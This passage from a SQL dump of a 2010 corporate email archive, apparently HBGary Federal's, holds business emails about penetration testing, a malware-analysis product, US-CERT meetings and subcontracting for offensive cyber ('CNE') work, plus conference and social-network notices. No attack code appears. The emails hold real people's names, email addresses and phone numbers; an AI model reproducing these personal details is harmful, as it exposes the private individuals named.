Register \r\n        to Attend Naval IT Day\r\n      For \r\n        more Information Contact Conference Director:\r\n        Martin Haley, events@afceanova.org, tel: 703-549-6911\r\n      Plus, \r\n        Don\'t Miss: \r\n      \r\n         Navy \r\n          &amp; Marine Command display booths throughout the lobby\r\n        Small \r\n          Business Plenary Sessions &amp; Small-group Town Hall \r\n          Meetings - runs in the morning and afternoon respectively, \r\n          parallel to the full conference\r\n          \r\n      \r\n    \r\n      Please \r\n        visit:\r\n        www.afceanova.org/navalitday\r\n      \r\n        \r\n          \r\n            \r\n              Small Business Silver Sponsors\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n              &nbsp;\r\n              \r\n              &nbsp;\r\n              \r\n            \r\n            \r\n              \r\n              &nbsp;\r\n              \r\n              &nbsp;\r\n              \r\n            \r\n            \r\n              \r\n              &nbsp;\r\n              \r\n              &nbsp;\r\n              \r\n            \r\n            \r\n              \r\n              &nbsp;\r\n              \r\n              &nbsp;\r\n              \r\n            \r\n            \r\n              &nbsp;\r\n              &nbsp;\r\n              \r\n              &nbsp;\r\n              &nbsp;\r\n            \r\n          \r\n        \r\n      \r\n      &nbsp;\r\n    &nbsp;\r\n    \r\n      \r\n        \r\n           \r\n            \r\n                 \r\n                  NAVAL \r\n                      IT Day Links\r\n                \r\n              \r\n          \r\n           \r\n            \r\n                 \r\n                   - \r\n                      About Naval IT Day\r\n                      - \r\n                      Speakers\r\n\r\n                      - \r\n                      Program Schedule\r\n\r\n                      - \r\n                      Small Business Track\r\n                      - Sponsors\r\n                      - Venue \r\n                      &amp; Directions\r\n                      - Registration\r\n                    \r\n                \r\n              \r\n          \r\n        \r\n        \r\n		  \r\n        \r\n           \r\n            \r\n \r\n              \r\n          \r\n        \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                 Premiere Sponsors\r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                \r\n                  \r\n                  \r\n              \r\n            \r\n          \r\n        \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                 Platinum Sponsors\r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                \r\n\r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n                  \r\n              \r\n            \r\n          \r\n        \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                 Gold Sponsors\r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                \r\n                  \r\n\r\n                  \r\n                  \r\n                  \r\n                  \r\n\r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n\r\n              \r\n            \r\n          \r\n        \r\n        \r\n        \r\n         \r\n    \r\n      &nbsp;\r\n      \r\n    \r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n\r\n',3440,'aaron_hbgary_com/3440.html'),(5288,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003861.M399846P14101Q143.eml','\"Phil Wallisch\" <phil@hbgary.com>','Any experience','Pen Testing Oracle databases?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15613,'aaron_hbgary_com/15613.html'),(5289,'2010-04-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003861.M607964P14101Q144.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','VA/PT','Notes from Aarons call with Ira Entis from Agilex. Los alamos is\r\ngetting ready to put up an oracle web portal specifically for\r\nfinancial supplier management portal from oracle financial\r\napplications. Test out this implementation out of the box. The agilex\r\nfolks know oracle very well. Will set up discussion with customer to\r\ndiscuss timeframes, goals, etc. They would definitely like us to\r\nparticipate.\r\n\r\nTed\r\n\r\nSent from my iPad\r\n',5516,'aaron_hbgary_com/5516.html'),(5290,'2010-04-13','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297003861.M998016P14101Q145.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Any experience','Yes as part of my overall pentest scope of work.\r\n\r\nSent from my iPhone\r\n\r\nOn Apr 13, 2010, at 16:11, Aaron Barr  wrote:\r\n\r\n> Pen Testing Oracle databases?\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',10893,'aaron_hbgary_com/10893.html'),(5291,'2010-04-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003862.M330868P14101Q146.eml','\"Sandoval Jr, Jose (TASC Inc)\" <jose.sandoval@tasc.com>,\"Barr Aaron\" <aaron@hbgary.com>','TMC','Hi Jose,\r\n\r\nOur automated reverse engineering platform, which we are calling the\r\nThreat Management Center (TMC) is in the final phases of product\r\ndevelopment.  Soon it will be ready to be shrink-wrapped as COTS.  Can\r\nwe schedule some time with you and one or more of your engineers to\r\ndiscuss your mission, the problem, constraints, environment, etc.  We\r\nwill be able to discuss our architecture, the required components,\r\nstatic vs dynamic analysis, etc.  I understand that your recompete is\r\nquickly approaching.  Do you expect the RFP to drop in May?\r\n\r\nTed\r\n',12627,'aaron_hbgary_com/12627.html'),(5292,'2010-04-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003862.M570940P14101Q147.eml','\"Aaron Barr\" <aaron@hbgary.com>,mark.trynor@hbgary.com','Holy crap!','The battery in the new 13-inch MacBook Pro lasts up to 10 hours\r\n8 to 9 hours on the 15- and 17-inch MacBook Pro\r\n\r\nWow!\r\n',6331,'aaron_hbgary_com/6331.html'),(5293,'2010-04-13','\"Sandoval Jr, Jose (TASC)\" <jose.sandoval@TASC.COM>','/aaron@hbgary.com/new/1297003862.M957416P14101Q148.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,,,','RE: TMC','TMC\r\n\r\n\r\n\r\n\r\nNext week is a good week for us.&nbsp; I would like to talk to you in detail and invite my engineering team too.&nbsp; What works best?&nbsp; Expect the RFP in mid June now.\r\n&nbsp;\r\nThanks.\r\n&nbsp;\r\nJose\r\n&nbsp;\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com]Sent: Tue 4/13/2010 4:06 PMTo: Sandoval Jr, Jose (TASC); Barr AaronSubject: TMC\r\n\r\nHi Jose,Our automated reverse engineering platform, which we are calling theThreat Management Center (TMC) is in the final phases of productdevelopment.&nbsp; Soon it will be ready to be shrink-wrapped as COTS.&nbsp; Canwe schedule some time with you and one or more of your engineers todiscuss your mission, the problem, constraints, environment, etc.&nbsp; Wewill be able to discuss our architecture, the required components,static vs dynamic analysis, etc.&nbsp; I understand that your recompete isquickly approaching.&nbsp; Do you expect the RFP to drop in May?Ted',16414,'aaron_hbgary_com/16414.html'),(5294,'2010-04-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003863.M182344P14101Q149.eml','\"Willis, Dan\" <Dan.Willis@macb.com>','Re: NOTHING YET','Is MacB going after any of his old work that is coming up for recompete\r\nie Odyssey?  We would be interested in helping out, if there is room for\r\nus.  Aaron and I have some time next week, if you\'re interested, we may\r\nbe able to make it to San Antonio (on our way to Sacramento) Tue or Wed\r\nto meet for a capabilities brief and teaming discussions.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\nOn 4/12/10 12:54 PM, Willis, Dan wrote:\r\n> Thanks, Ted.\r\n> \r\n> Dan G. is starting work here next Mon.\r\n> \r\n> Dan\r\n> \r\n> ____________________\r\n> Dan B. Willis\r\n> Director, IO Programs\r\n> Information Dominance Division\r\n> MacAulay-Brown, Inc.\r\n> Office  (210) 732-7417\r\n> Fax     (210) 732-1012\r\n> Mobile (210) 363-2332\r\n> Web     www.macb.com\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com] \r\n> Sent: Monday, April 12, 2010 1:21 PM\r\n> To: Willis, Dan\r\n> Subject: Re: NOTHING YET\r\n> \r\n> Thanks for the update Dan.  Attached is a whitepaper we just published, I thought you might be interested.  Describes how HBGary Responder an be used for software exploitation.\r\n> \r\n> Regards,\r\n> Ted\r\n> \r\n> \r\n> \r\n> On 4/12/10 12:19 PM, Willis, Dan wrote:\r\n>> I spoke with the contracting officer last week and she\'s overwhelmed \r\n>> with other things.  It\'s sitting on her desk.  At least it\'s not dead.\r\n>>\r\n>>  \r\n>>\r\n>> Dan\r\n>>\r\n>>  \r\n>>\r\n>> ____________________\r\n>>\r\n>> Dan B. Willis\r\n>>\r\n>> Director, IO Programs\r\n>>\r\n>> Information Dominance Division\r\n>>\r\n>> MacAulay-Brown, Inc.\r\n>>\r\n>> Office  (210) 732-7417\r\n>>\r\n>> Fax     (210) 732-1012\r\n>>\r\n>> Mobile (210) 363-2332\r\n>>\r\n>> Web     www.macb.com\r\n>>\r\n>>  \r\n>>\r\n>>\r\n> \r\n\r\n',16620,'aaron_hbgary_com/16620.html'),(5295,'2010-04-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003863.M854331P14101Q150.eml','\"Sandoval Jr, Jose (TASC)\" <jose.sandoval@TASC.COM>,\"Sandoval Jr, Jose (TASC)\" <jose.sandoval@TASC.COM>,,,,,','Re: TMC','Great.  That\'s exactly what we had in mind.  Early next week is best for\r\nus (ie Monday?).  It looks like we\'ll be on travel Tue - Fri.  We may be\r\nin San Antonio actually.  I\'ll keep you posted on how that develops...\r\n\r\nTed\r\n\r\n\r\nOn 4/13/10 3:16 PM, Sandoval Jr, Jose (TASC) wrote:\r\n> Next week is a good week for us.  I would like to talk to you in detail and invite my engineering team too.  What works best?  Expect the RFP in mid June now.\r\n>  \r\n> Thanks.\r\n>  \r\n> Jose\r\n>  \r\n> \r\n> ________________________________\r\n> \r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Tue 4/13/2010 4:06 PM\r\n> To: Sandoval Jr, Jose (TASC); Barr Aaron\r\n> Subject: TMC\r\n> \r\n> \r\n> \r\n> Hi Jose,\r\n> \r\n> Our automated reverse engineering platform, which we are calling the\r\n> Threat Management Center (TMC) is in the final phases of product\r\n> development.  Soon it will be ready to be shrink-wrapped as COTS.  Can\r\n> we schedule some time with you and one or more of your engineers to\r\n> discuss your mission, the problem, constraints, environment, etc.  We\r\n> will be able to discuss our architecture, the required components,\r\n> static vs dynamic analysis, etc.  I understand that your recompete is\r\n> quickly approaching.  Do you expect the RFP to drop in May?\r\n> \r\n> Ted\r\n> \r\n> \r\n> \r\n\r\n',7011,'aaron_hbgary_com/7011.html'),(5296,'2010-04-13','\"Sandoval Jr, Jose (TASC)\" <jose.sandoval@TASC.COM>','/aaron@hbgary.com/new/1297003864.M561714P14101Q152.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,,,,','RE: TMC','Re: TMC\r\n\r\n\r\n\r\n\r\nIf you are coming to SA, let me know so we can meet here, maybe dinner or something.&nbsp; If not, then lets shoot for Monday PM.\r\n&nbsp;\r\nJose\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com]Sent: Tue 4/13/2010 4:25 PMTo: Sandoval Jr, Jose (TASC)Cc: Barr Aaron; Powell, Patrick K (TASC); Kamin, Karl V (TASC); Hammack, Jacob P (TASC); Benson, Andrew C (TASC); Trippy, Matthew (TASC)Subject: Re: TMC\r\n\r\nGreat.&nbsp; That\'s exactly what we had in mind.&nbsp; Early next week is best forus (ie Monday?).&nbsp; It looks like we\'ll be on travel Tue - Fri.&nbsp; We may bein San Antonio actually.&nbsp; I\'ll keep you posted on how that develops...TedOn 4/13/10 3:16 PM, Sandoval Jr, Jose (TASC) wrote:&gt; Next week is a good week for us.&nbsp; I would like to talk to you in detail and invite my engineering team too.&nbsp; What works best?&nbsp; Expect the RFP in mid June now.&gt;&nbsp;&gt; Thanks.&gt;&nbsp;&gt; Jose&gt;&nbsp;&gt;&gt; ________________________________&gt;&gt; From: Ted Vera [mailto:ted@hbgary.com]&gt; Sent: Tue 4/13/2010 4:06 PM&gt; To: Sandoval Jr, Jose (TASC); Barr Aaron&gt; Subject: TMC&gt;&gt;&gt;&gt; Hi Jose,&gt;&gt; Our automated reverse engineering platform, which we are calling the&gt; Threat Management Center (TMC) is in the final phases of product&gt; development.&nbsp; Soon it will be ready to be shrink-wrapped as COTS.&nbsp; Can&gt; we schedule some time with you and one or more of your engineers to&gt; discuss your mission, the problem, constraints, environment, etc.&nbsp; We&gt; will be able to discuss our architecture, the required components,&gt; static vs dynamic analysis, etc.&nbsp; I understand that your recompete is&gt; quickly approaching.&nbsp; Do you expect the RFP to drop in May?&gt;&gt; Ted&gt;&gt;&gt;',15015,'aaron_hbgary_com/15015.html'),(5297,'2010-04-13','\"Ted@HBGary.com\" <monster@route.monster.com>','/aaron@hbgary.com/new/1297003864.M795995P14101Q153.eml','Aaron@HBGary.com','View this job posting on Monster','\r\n\r\n\r\n\r\nView this job posting on Monster\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo ensure delivery of this email please add monster@route.monster.com to your Address Book or Safe List.\r\n\r\n\r\n\r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n        \r\n        \r\n        \r\n        View this job posting on Monster\r\n        \r\n        \r\n        \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n        \r\n        \r\n        \r\n        \r\n            \r\n            \r\n            \r\n            Dear Aaron@HBGary.com,\r\n                  Ted@HBGary.com comments about this great career opportunity:Job postingView the job!Quick Tips: Post Your Resume on Monster - Double Your Chance Of Finding A Job!Post your resume on Monster and hear about positions directly from employers. Don’t let that dream job pass you by! Get started today.Search Jobs from Your Mobile DeviceMonster Mobile gives you the freedom to search the latest jobs directly from your mobile device – anytime, anywhere. To get started, click here.Get the Salary you Deserve Get accurate, personalized salary information based on your target job title and location. Be prepared for your interviews. Know what you should be making in your next job. Get started now!\r\n                       \r\n            \r\n            \r\n            \r\n            \r\n                \r\n                \r\n                \r\n                \r\n                \r\n                    \r\n                    \r\n                    \r\n                    Helpful Hint\r\n                    \r\n                    \r\n                    \r\n                \r\n                \r\n                \r\n                \r\n                \r\n                \r\n                \r\n                    \r\n                    \r\n                    \r\n                    Get more jobs from Monster! Create a career Profile.\r\n                      Learn about other jobs that match your career ambitions and your job history by creating a Profile on Monster. You’ll even get recommended jobs sent directly to you via email!  Create a Profile and learn about this innovative new tool from Monster.\r\n                    \r\n                    \r\n                    \r\n                \r\n                \r\n                \r\n                \r\n                \r\n                \r\n            \r\n            \r\n                \r\n            \r\n            \r\n            \r\n            Sincerely,The Monster Team1-800-MONSTER (666-7837)\r\n            \r\n        \r\n        \r\n        \r\n        \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n\r\n\r\n\r\n\r\n    \r\n    \r\n    \r\n    Questions? Email us directly by visiting http://my.monster.com/contactus/. Please do not reply to this email. To read the Monster Privacy Commitment, visit http://my.monster.com/privacy/. Monster, 5 Clock Tower Place, Suite 500, Maynard, MA 01754 Add monster@route.monster.com to your address book to ensure delivery of Monster emails. If you doubt the authenticity of a Monster email, please visit the Monster site directly using your Web browser. From there, you can log in to your account if an activity is being requested or email us directly to inquire about the authenticity of the email. To learn more, visit Monster’s Security Center at  http://my.monster.com/securitycenter/.\r\n    \r\n    \r\n    \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',918,'aaron_hbgary_com/918.html'),(5298,'2010-04-13','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297003864.M85222P14101Q151.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Holy crap!','That\'s impressive.  My netbook lasts for 10~12 with normal use and it\r\ndoesn\'t have a 13\" screen\r\n\r\nTed Vera wrote:\r\n> The battery in the new 13-inch MacBook Pro lasts up to 10 hours\r\n> 8 to 9 hours on the 15- and 17-inch MacBook Pro\r\n>\r\n> Wow!\r\n>   \r\n\r\n',14426,'aaron_hbgary_com/14426.html'),(5299,'2010-04-13','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003865.M11219P14101Q154.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting with US-CERT','Aaron,\r\n\r\nPenny suggested I attend this US-CERT meeting primarily so I can get to know\r\nMatt Stern better.  Matt has offered to take introduce us to important\r\npeople in DoD and the IC.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 13, 2010 2:30 PM\r\nTo: Bob Slapnik\r\nCc: Penny Leavy\r\nSubject: Meeting with US-CERT\r\n\r\nBob,\r\n\r\nCan you make a meeting with US-CERT on the 21st in the morning.  GD is going\r\nto take us in to demo to US-CERT but neither Phil or RIch are available.\r\n\r\nI am going to get on the phone with Phil tomorrow and go over some demo\r\nstuff and am feeling pretty good with the material but not sure how RE\r\nknowledgeable the audience will be (my guess is not too much).\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/13/10\r\n02:32:00\r\n\r\n',1596,'aaron_hbgary_com/1596.html'),(5300,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003865.M279078P14101Q155.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Meeting with US-CERT','Great.  I will send u the mtg notice.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Apr 13, 2010, at 6:17 PM, Bob Slapnik  wrote:\r\n\r\n> Aaron,\r\n>\r\n> Penny suggested I attend this US-CERT meeting primarily so I can get\r\n> to know\r\n> Matt Stern better.  Matt has offered to take introduce us to important\r\n> people in DoD and the IC.\r\n>\r\n> Bob\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, April 13, 2010 2:30 PM\r\n> To: Bob Slapnik\r\n> Cc: Penny Leavy\r\n> Subject: Meeting with US-CERT\r\n>\r\n> Bob,\r\n>\r\n> Can you make a meeting with US-CERT on the 21st in the morning.  GD\r\n> is going\r\n> to take us in to demo to US-CERT but neither Phil or RIch are\r\n> available.\r\n>\r\n> I am going to get on the phone with Phil tomorrow and go over some\r\n> demo\r\n> stuff and am feeling pretty good with the material but not sure how RE\r\n> knowledgeable the audience will be (my guess is not too much).\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date:\r\n> 04/13/10\r\n> 02:32:00\r\n>\r\n',6014,'aaron_hbgary_com/6014.html'),(5301,'2010-04-13','\"Dino Dai Zovi\" <ddz@trailofbits.com>','/aaron@hbgary.com/new/1297003865.M515072P14101Q156.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Update','Hi Aaron,\r\n\r\nYes, this is my first week post-EGS.  I am planning on staying independent for a while and trying that out for a bit.  I have a training course to prepare for BlackHat and some misc. other tasks, but may have some time open for small projects.  I would be interested in hearing about what type of work you would have open to subcontracting.\r\n\r\nCheers,\r\n\r\n-Dino\r\n\r\nOn Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:\r\n\r\n> \r\n> \r\n> ---------- Forwarded message ----------\r\n> From: Aaron Barr \r\n> Date: Tue, Apr 13, 2010 at 10:43 AM\r\n> Subject: Update\r\n> To: Dino Dai Zovi \r\n> \r\n> \r\n> LinkedIn\r\n> Aaron Barr has sent you a message.\r\n> Date: 4/13/2010\r\n> Subject: Update\r\n> Hi Dino,\r\n> \r\n> It look like your not with EGS? What are you up to? Are you going to stay independent, and if so are you already booked up with work?\r\n> \r\n> Aaron\r\n> View/reply to this message\r\n> Don\'t want to receive e-mail notifications? Adjust your message settings.\r\n> \r\n> © 2010, LinkedIn Corporation\r\n> \r\n\r\n',12696,'aaron_hbgary_com/12696.html'),(5302,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003865.M869755P14101Q157.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Fwd: Update','From my iPhoneBegin forwarded message:From: Dino Dai Zovi &lt;ddz@trailofbits.com&gt;\r\nDate: April 13, 2010 6:32:39 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Update\r\nHi Aaron,Yes, this is my first week post-EGS.  I am planning on staying independent for a while and trying that out for a bit.  I have a training course to prepare for BlackHat and some misc. other tasks, but may have some time open for small projects.  I would be interested in hearing about what type of work you would have open to subcontracting.\r\nCheers,-DinoOn Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:\r\n---------- Forwarded message ----------From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, Apr 13, 2010 at 10:43 AMSubject: UpdateTo: Dino Dai Zovi &lt;ddz@theta44.org&gt;\r\nLinkedInAaron Barr has sent you a message.\r\nDate: 4/13/2010Subject: UpdateHi Dino,\r\nIt look like your not with EGS? What are you up to? Are you going to stay independent, and if so are you already booked up with work?\r\nAaronView/reply to this messageDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n© 2010, LinkedIn Corporation\r\n\r\n',10388,'aaron_hbgary_com/10388.html'),(5303,'2010-04-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003866.M329314P14101Q159.eml','\"Sandoval Jr, Jose (TASC)\" <jose.sandoval@tasc.com>,\"Sandoval Jr, Jose (TASC)\" <jose.sandoval@tasc.com>,,,,,','Re: TMC','I just sent you a meeting request for 4pm my time, next Monday. Feel free to suggest an alternate time if necessary. Our travel plans will probably not firm up till later this week. \r\nTedSent from my iPadOn Apr 13, 2010, at 3:31 PM, &quot;Sandoval Jr, Jose (TASC)&quot; &lt;jose.sandoval@TASC.COM&gt; wrote:\r\n\r\n\r\nIf you are coming to SA, let me know so we can meet here, maybe dinner or something.  If not, then lets shoot for Monday PM.\r\n \r\nJose\r\n \r\n \r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com]Sent: Tue 4/13/2010 4:25 PMTo: Sandoval Jr, Jose (TASC)Cc: Barr Aaron; Powell, Patrick K (TASC); Kamin, Karl V (TASC); Hammack, Jacob P (TASC); Benson, Andrew C (TASC); Trippy, Matthew (TASC)\r\nSubject: Re: TMC\r\n\r\nGreat.  That&#39;s exactly what we had in mind.  Early next week is best forus (ie Monday?).  It looks like we&#39;ll be on travel Tue - Fri.  We may bein San Antonio actually.  I&#39;ll keep you posted on how that develops...\r\nTedOn 4/13/10 3:16 PM, Sandoval Jr, Jose (TASC) wrote:&gt; Next week is a good week for us.  I would like to talk to you in detail and invite my engineering team too.  What works best?  Expect the RFP in mid June now.\r\n&gt; &gt; Thanks.&gt; &gt; Jose&gt; &gt;&gt; ________________________________&gt;&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt; Sent: Tue 4/13/2010 4:06 PM&gt; To: Sandoval Jr, Jose (TASC); Barr Aaron&gt; Subject: TMC&gt;&gt;&gt;&gt; Hi Jose,&gt;&gt; Our automated reverse engineering platform, which we are calling the\r\n&gt; Threat Management Center (TMC) is in the final phases of product&gt; development.  Soon it will be ready to be shrink-wrapped as COTS.  Can&gt; we schedule some time with you and one or more of your engineers to\r\n&gt; discuss your mission, the problem, constraints, environment, etc.  We&gt; will be able to discuss our architecture, the required components,&gt; static vs dynamic analysis, etc.  I understand that your recompete is\r\n&gt; quickly approaching.  Do you expect the RFP to drop in May?&gt;&gt; Ted&gt;&gt;&gt;\r\n',12839,'aaron_hbgary_com/12839.html'),(5304,'2010-04-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003866.M864130P14101Q160.eml','\"Aaron Barr\" <adbarr@mac.com>','','http://jobview.monster.com/GetJob.aspx?JobID=87445313\r\n\r\n From my iPhone\r\n',10215,'aaron_hbgary_com/10215.html'),(5305,'2010-04-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003866.M95588P14101Q158.eml','aaron@hbgary.com,\"Jose.Sandoval@TASC.com\" <jose.sandoval@tasc.com>','Invitation: TMC with Jose @ Mon Apr 19 6pm - 7pm (aaron@hbgary.com)',' more details &raquo;TMC with JoseDiscuss automated malware REWhenMon Apr 19 6pm – 7pm Eastern TimeWhereTelephonic (map)Calendaraaron@hbgary.comWho&#x2022;Ted Vera - organizer&#x2022;Aaron Barr&#x2022;Jose.Sandoval@TASC.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',11504,'aaron_hbgary_com/11504.html'),(5306,'2010-04-14','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003867.M133120P14101Q161.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','US Cert','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nEveryone is totally busy that day.&nbsp; Way I would position\r\nit, is that Greg wanted to present to them and therefore, we can do a\r\nwebex.&nbsp;&nbsp; GREG it is early in the morning, but we&#8217;ve been trying\r\nto get movement from this group.&nbsp; Matt Stern from GD is bringing us\r\nin.&nbsp; He was in charge of ALL THE ARMY&#8221;S Certs&#8217;\r\nworldwide.&nbsp; He is VERY influential.&nbsp; \r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this message\r\nin error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9911,'aaron_hbgary_com/9911.html'),(5307,'2010-04-14','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297003867.M384829P14101Q162.eml','\"Aaron Barr\" <aaron@hbgary.com>','Michael J Staggs has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Michael J are now connected.\r\n\r\n \r\n   \r\n   View Michael J\'s profile to:\r\n     \r\n       Download Michael J\'s current contact information\r\n       Write a recommendation for Michael J\r\n       Find opportunities through Michael J\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/fpf/2075122/EML-inv-acc-prof/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',14254,'aaron_hbgary_com/14254.html'),(5308,'2010-04-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003867.M610313P14101Q163.eml','\"Dino Dai Zovi\" <ddz@trailofbits.com>','Re: Update','Ok.  Great.\r\n\r\nWe have some ongoing work to build CNE capabilities.  The contract we have had for a while, although we do a variety of different things within it.  We have used some consultants in the past to help with surges in this work.  If this type of work interests you I would definitely like to put an NDA in place and use you for this type of work on an as needed and as available basis.\r\n\r\nDo you hold a clearance at all?\r\n\r\nAre you familiar with DARPA\'s cyber genome project?  There were 3 Technical areas and we sub\'d to 1 and primed another related to automated malware analysis.  That is all development work and unclassified.  If that work interests you we could probably use your help there too.\r\n\r\nDo you do or have you done Incident Response work?  We get short term gigs like this all the time.  I am not completely up on your full background so not sure if this is an area of expertise or interest.  HBGary Federal will be working hard over the next few months to solidify our IR offerings, using HBGary products as well as partner products.\r\n\r\nProbably others too but this is a good start off the top of my head.\r\n\r\nWhat types of things are you most interested in working on?\r\n\r\nAaron\r\n\r\nOn Apr 13, 2010, 